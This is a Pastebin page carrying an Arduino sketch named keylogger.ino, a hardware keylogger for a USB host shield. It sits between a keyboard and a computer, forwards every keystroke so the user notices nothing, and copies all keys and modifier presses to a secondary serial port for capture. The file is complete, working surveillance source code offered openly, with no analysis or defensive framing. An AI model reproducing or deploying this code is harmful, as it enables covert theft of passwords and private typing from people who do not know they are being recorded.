Advertisement
FlyFar

keylogger.ino

Jul 22nd, 2023
4,779
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Arduino 7.48 KB | Cybersecurity | 0 0
  1. #include <hidboot.h>
  2. #include <usbhub.h>
  3. #include "Keyboard.h"
  4.  
  5. #define Serial Serial1
  6.  
  7. // Satisfy the IDE, which needs to see the include statment in the ino too.
  8. #ifdef dobogusinclude
  9.   #include <spi4teensy3.h>
  10.   #include <SPI.h>
  11. #endif
  12.  
  13. #include <SPI.h>
  14. #include <SD.h>
  15.  
  16. bool shift = false;
  17.  
  18. USB     Usb;
  19. HIDBoot<USB_HID_PROTOCOL_KEYBOARD>    HidKeyboard(&Usb);
  20. uint32_t next_time;
  21.  
  22. class KbdRptParser : public KeyboardReportParser{
  23.   public:
  24.     uint8_t _parse(uint8_t key);
  25.     String _getChar(uint8_t key);
  26.   protected:
  27.     void OnControlKeysChanged(uint8_t before, uint8_t after);
  28.  
  29.     void OnKeyDown  (uint8_t mod, uint8_t key);
  30.     void OnKeyUp    (uint8_t mod, uint8_t key);
  31.     void OnKeyPressed(uint8_t key);
  32.    
  33.     void _press(uint8_t key);
  34.     void _release(uint8_t key);
  35. };
  36.  
  37. void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key){
  38.   int parsedKey = _parse(key);
  39.   if(parsedKey == key){
  40.     uint8_t c = OemToAscii(mod, key);
  41.     OnKeyPressed(c);
  42.     if(c != 0x20 && c != 0x00) _press(c);
  43.     else _press(key);
  44.   }else _press(parsedKey);
  45. }
  46.  
  47. void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key){
  48.   int parsedKey = _parse(key);
  49.   if(parsedKey == key){
  50.     uint8_t c = OemToAscii(mod, key);
  51.     OnKeyPressed(c);
  52.     if(c != 0x20 && c != 0x00){
  53.       _release(c);
  54.       Serial.print((char)c);
  55.     }
  56.     else{
  57.       _release(key);
  58.       Serial.print("0x");
  59.       Serial.print(key, HEX);
  60.     }
  61.   }else{
  62.     _release(parsedKey);
  63.     Serial.print(_getChar(key));
  64.   }
  65. }
  66.  
  67. void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
  68.  
  69.   MODIFIERKEYS beforeMod;
  70.   *((uint8_t*)&beforeMod) = before;
  71.  
  72.   MODIFIERKEYS afterMod;
  73.   *((uint8_t*)&afterMod) = after;
  74.  
  75.   //left
  76.   if(beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl){
  77.     if(afterMod.bmLeftCtrl) Keyboard.press(KEY_LEFT_CTRL);
  78.     else Keyboard.release(KEY_LEFT_CTRL);
  79.     Serial.print("<ctrl "+(String)afterMod.bmLeftCtrl+">");
  80.   }
  81.  
  82.   if(beforeMod.bmLeftShift != afterMod.bmLeftShift){
  83.     if(afterMod.bmLeftShift) Keyboard.press(KEY_LEFT_SHIFT);
  84.     else Keyboard.release(KEY_LEFT_SHIFT);
  85.     shift = afterMod.bmLeftShift;
  86.     //Serial.print("<shift "+(String)afterMod.bmLeftShift+">");
  87.   }
  88.  
  89.   if(beforeMod.bmLeftAlt != afterMod.bmLeftAlt){
  90.     if(afterMod.bmLeftAlt) Keyboard.press(KEY_LEFT_ALT);
  91.     else Keyboard.release(KEY_LEFT_ALT);
  92.     Serial.print("<alt "+(String)afterMod.bmLeftAlt+">");
  93.   }
  94.  
  95.   if(beforeMod.bmLeftGUI != afterMod.bmLeftGUI){
  96.     if(afterMod.bmLeftGUI) Keyboard.press(KEY_LEFT_GUI);
  97.     else Keyboard.release(KEY_LEFT_GUI);
  98.     Serial.print("<gui "+(String)afterMod.bmLeftGUI+">");
  99.   }
  100.  
  101.   //right
  102.   if(beforeMod.bmRightCtrl != afterMod.bmRightCtrl){
  103.     if(afterMod.bmRightCtrl) Keyboard.press(KEY_RIGHT_CTRL);
  104.     else Keyboard.release(KEY_RIGHT_CTRL);
  105.     Serial.print("<ctrl "+(String)afterMod.bmRightCtrl+">");
  106.   }
  107.  
  108.   if(beforeMod.bmRightShift != afterMod.bmRightShift){
  109.     if(afterMod.bmRightShift) Keyboard.press(KEY_RIGHT_SHIFT);
  110.     else Keyboard.release(KEY_RIGHT_SHIFT);
  111.     shift = afterMod.bmLeftShift;
  112.     //Serial.print("<shift "+(String)afterMod.bmRightShift+">");
  113.   }
  114.  
  115.   if(beforeMod.bmRightAlt != afterMod.bmRightAlt){
  116.     if(afterMod.bmRightAlt) Keyboard.press(KEY_RIGHT_ALT);
  117.     else Keyboard.release(KEY_RIGHT_ALT);
  118.     Serial.print("<alt "+(String)afterMod.bmRightAlt+">");
  119.   }
  120.  
  121.   if(beforeMod.bmRightGUI != afterMod.bmRightGUI){
  122.     if(afterMod.bmRightGUI) Keyboard.press(KEY_RIGHT_GUI);
  123.     else Keyboard.release(KEY_RIGHT_GUI);
  124.     Serial.print("<gui "+(String)afterMod.bmRightGUI+">");
  125.   }
  126.  
  127. }
  128.  
  129. void KbdRptParser::OnKeyPressed(uint8_t key){
  130.   /*Serial.print("ASCII: \"");
  131.   Serial.print((char)key);
  132.   Serial.print("\" = 0x");
  133.   Serial.print(key, HEX);
  134.   Serial.print("; ");*/
  135. };
  136.  
  137. uint8_t KbdRptParser::_parse(uint8_t key){
  138.   /*
  139.   Serial.print("0x");
  140.   Serial.print(key, HEX);
  141.   Serial.print(" = ");*/
  142.   switch(key){
  143.     case 0x2C: return 0x20; break; // SPACE
  144.     case 40: return KEY_RETURN; break;
  145.     case 41: return KEY_ESC; break;
  146.     case 42: return KEY_BACKSPACE; break;
  147.     case 43: return KEY_TAB; break;
  148.     case 58: return KEY_F1; break;
  149.     case 59: return KEY_F2; break;
  150.     case 60: return KEY_F3; break;
  151.     case 61: return KEY_F4; break;
  152.     case 62: return KEY_F5; break;
  153.     case 63: return KEY_F6; break;    
  154.     case 64: return KEY_F7; break;
  155.     case 65: return KEY_F8; break;
  156.     case 66: return KEY_F9; break;
  157.     case 67: return KEY_F10; break;
  158.     case 68: return KEY_F11; break;
  159.     case 69: return KEY_F12; break;
  160.     case 73: return KEY_INSERT; break;
  161.     case 74: return KEY_HOME; break;
  162.     case 75: return KEY_PAGE_UP; break;
  163.     case 76: return KEY_DELETE; break;
  164.     case 77: return KEY_END; break;
  165.     case 78: return KEY_PAGE_DOWN; break;
  166.     case 79: return KEY_RIGHT_ARROW; break;
  167.     case 80: return KEY_LEFT_ARROW; break;
  168.     case 81: return KEY_DOWN_ARROW; break;
  169.     case 82: return KEY_UP_ARROW; break;
  170.     case 88: return KEY_RETURN; break;
  171.     //=====[DE-Keyboard]=====//
  172.     case 0x64: return 236; break; // <
  173.     case 0x32: return 92; break; // #
  174.     //======================//
  175.     default: {
  176.       //Serial.print(" N/A ");
  177.       return key;
  178.     }
  179.   }
  180. }
  181.  
  182. String KbdRptParser::_getChar(uint8_t key){
  183.   switch(key){
  184.     case 0x2C: return " "; break;
  185.     case 40: return "<RETURN>\n"; break;
  186.     case 41: return "<ESC>\n"; break;
  187.     case 42: return "<BACKSPCAE>"; break;
  188.     case 43: return "<TAB>\n"; break;
  189.     case 58: return "<F1>\n"; break;
  190.     case 59: return "<F2>\n"; break;
  191.     case 60: return "<F3>\n"; break;
  192.     case 61: return "<F4>\n"; break;
  193.     case 62: return "<F5>\n"; break;
  194.     case 63: return "<F6>\n"; break;    
  195.     case 64: return "<F7>\n"; break;
  196.     case 65: return "<F8>\n"; break;
  197.     case 66: return "<F9>\n"; break;
  198.     case 67: return "<F10>\n"; break;
  199.     case 68: return "<F11>\n"; break;
  200.     case 69: return "<F12>\n"; break;
  201.     case 73: return "<INSERT>"; break;
  202.     case 74: return "<HOME>\n"; break;
  203.     case 75: return "<PAGE_UP>\n"; break;
  204.     case 76: return "<DELETE>"; break;
  205.     case 77: return "<END>\n"; break;
  206.     case 78: return "<PAGE_DOWN>\n"; break;
  207.     case 79: return "<RIGHT_ARROW>\n"; break;
  208.     case 80: return "<LEFT_ARROW>\n"; break;
  209.     case 81: return "<DOWN_ARROW>\n"; break;
  210.     case 82: return "<UP_ARROW>\n"; break;
  211.     case 88: return "<RETURN>\n"; break;
  212.     //=====[DE-Keyboard]=====//
  213.     case 0x64: {
  214.       if(shift) return "<";
  215.       else return ">";
  216.       break;
  217.     }
  218.     case 0x32:{
  219.       if(shift) return "'";
  220.       else return "#";
  221.       break;
  222.     }
  223.     //======================//
  224.     default: {
  225.       return "";
  226.     }
  227.   }
  228. }
  229.  
  230. void KbdRptParser::_press(uint8_t key){
  231.   /*Serial.print("0x");
  232.   Serial.print(key, HEX);
  233.   Serial.println(" DOWN");*/
  234.   Keyboard.press(key);
  235. }
  236.  
  237. void KbdRptParser::_release(uint8_t key){
  238.   /*Serial.print("0x");
  239.   Serial.print(key, HEX);
  240.   Serial.println(" UP");
  241.   Serial.println();*/
  242.   Keyboard.release(key);
  243. }
  244.  
  245. KbdRptParser parser;
  246.  
  247.  
  248. void setup()
  249. {
  250.   Serial.begin(115200);
  251.   Keyboard.begin();
  252.   delay(2000);
  253. /*
  254.   for(int i=0;i<256;i++){
  255.    
  256.     int key = parser._parse(i);
  257.     if(key == i){
  258.       Keyboard.print((String)i+" ");
  259.       Keyboard.write(i);
  260.       delay(200);
  261.       Keyboard.write(KEY_RETURN);
  262.     }
  263.   }*/
  264.  
  265.   if(Usb.Init() == -1) Serial.println("OSC did not start.");
  266.  
  267.   delay(200);
  268.  
  269.   next_time = millis() + 5000;
  270.  
  271.   HidKeyboard.SetReportParser(0, &parser);
  272.  
  273. }
  274.  
  275. void loop(){
  276.   Usb.Task();
  277. }
  278.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement